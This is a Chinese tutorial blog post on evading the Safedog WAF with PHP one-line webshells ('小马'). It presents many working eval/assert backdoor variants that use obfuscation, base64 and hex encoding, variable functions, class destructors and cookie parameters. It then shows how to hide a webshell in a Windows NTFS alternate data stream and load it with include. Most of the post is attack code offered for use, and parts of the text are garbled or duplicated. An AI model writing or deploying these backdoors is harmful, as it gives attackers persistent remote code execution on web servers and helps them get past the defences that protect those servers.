WAF绕过--小马绕过

WAF绕过之小马免杀

WAF:安全狗-Apache版 v4

正常的PHP一句话木马:
<?php eval($_REQUEST[6]);?>

对于这个正常的一句话木马,安全狗会拦截。

关于拦截其实最主要的还是测试,看看Waf究竟怎么拦截。[最直接的检测应该是正则匹配]

我们尝试只写<?php eval();?> 发现没有拦截,但是加了 R E Q U E S T [ 6 ] 就 拦 截 了 那 么 我 们 是 不 是 可 以 尝 试 测 试 看 看 究 竟 拦 截 _REQUEST[6]就拦截了 那么我们是不是可以尝试测试看看究竟拦截 REQUEST[6]_REQUEST[6]的那个部分。

然后测试发现,他拦截的是$_REQUEST[

那么我们只要不出现中括号就可以解决对吗?或者我们尝试把这个变量换一个就可以解决。

end()函数

end() 将数组的内部指针移动到最后一个单元并返回其值

绕过
<?php eval(end($_REQUEST))?>
常量定义 define

define:定义一个常量:difine(常量名,常量值)

绕过
<?php define("a",$_REQUEST[6]);eval(a);?>
字符串拼接+$$
绕过
<?php
$a = 'ass';
$b = 'ert';
$func = $a.$b;
$x = 'func';
$$x($_REQUEST[6]);
?>
函数分离
绕过
<?php
function func($a){
return $a;}
eval(func($_REQUEST[6]));
?>
定义类
绕过
<?php
class Test{
	public $a = '';
	function __destruct(){
		eval("$this->a");
	}
}
$t = new Test;
$t->a = ''.$_REQUEST[6];
?>
多方式传参
绕过
<?php
$cookie = $_COOKIE;
foreach($cookie as $key->$value){
	if($key=='assert'){
		$key($_REQUEST[6]);
	}
}
?>
已定义数组

get_defined_functions():返回数组,包含了所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过 a r r [ " i n t e r n a l " ] 来 访 问 系 统 内 置 函 数 , 通 过 arr["internal"]来访问系统内置函数, 通过 arr["internal"]访arr[“user”]来访问用户自定义函数.。

5.6.27:[850]=> string(6) “assert”

5.4.45:[841]=> string(6) “assert”

7.0.12:[763]=> string(6) “assert”

绕过
<?php
$a=get_defined_functions();
$a['internal'][841]($_REQUEST[6]);

?>
关键函数编码

对关键函数的字符串进行变换

绕过
<?php array_map("ass\x65rt",array($_REQUEST[6]));?>

\x65对应的字母是e
\x后面跟的是字符ASCII码的十六进制,e的ASCII码16进制为65

base64编码函数

assert的base64编码是:YXNzZXJ0

绕过
<?php 
$func = base64_decode("YXNzZXJ0");
$func($_REQUEST[6]);
?>

多次base64编码:

<?php eval(base64_decode(U2tZNVUxSldSbFpTVms1VlYzcGFaQT09));?>
外联数据库绕过
绕过
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','test'),'select * from info'))['info']); 

?>

image-20210517194139068

windows 隐藏shell:nfs文件流(拿到shell后)

cmd:

echo helloworld >> /:test.txt

image-20210517200612260

test.txt文件不会显示在文件夹中。

但是可以使用1.php去包含test.txt

<?php 
include("/:test.txt")
?>

image-20210517200804415

隐藏:
echo "<?php eval($_REQUEST[6])?>" >> /:123.txt

image-20210517201101480

1.php:

<?php 

include("/:123.txt")
?>

(img-Qsc4GGZC-1621259989767)]

隐藏:
echo "<?php eval($_REQUEST[6])?>" >> /:123.txt

[外链图片转存中…(img-fJlQhLoH-1621259989768)]

1.php:

<?php 

include("/:123.txt")
?>

image-20210517201129285

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值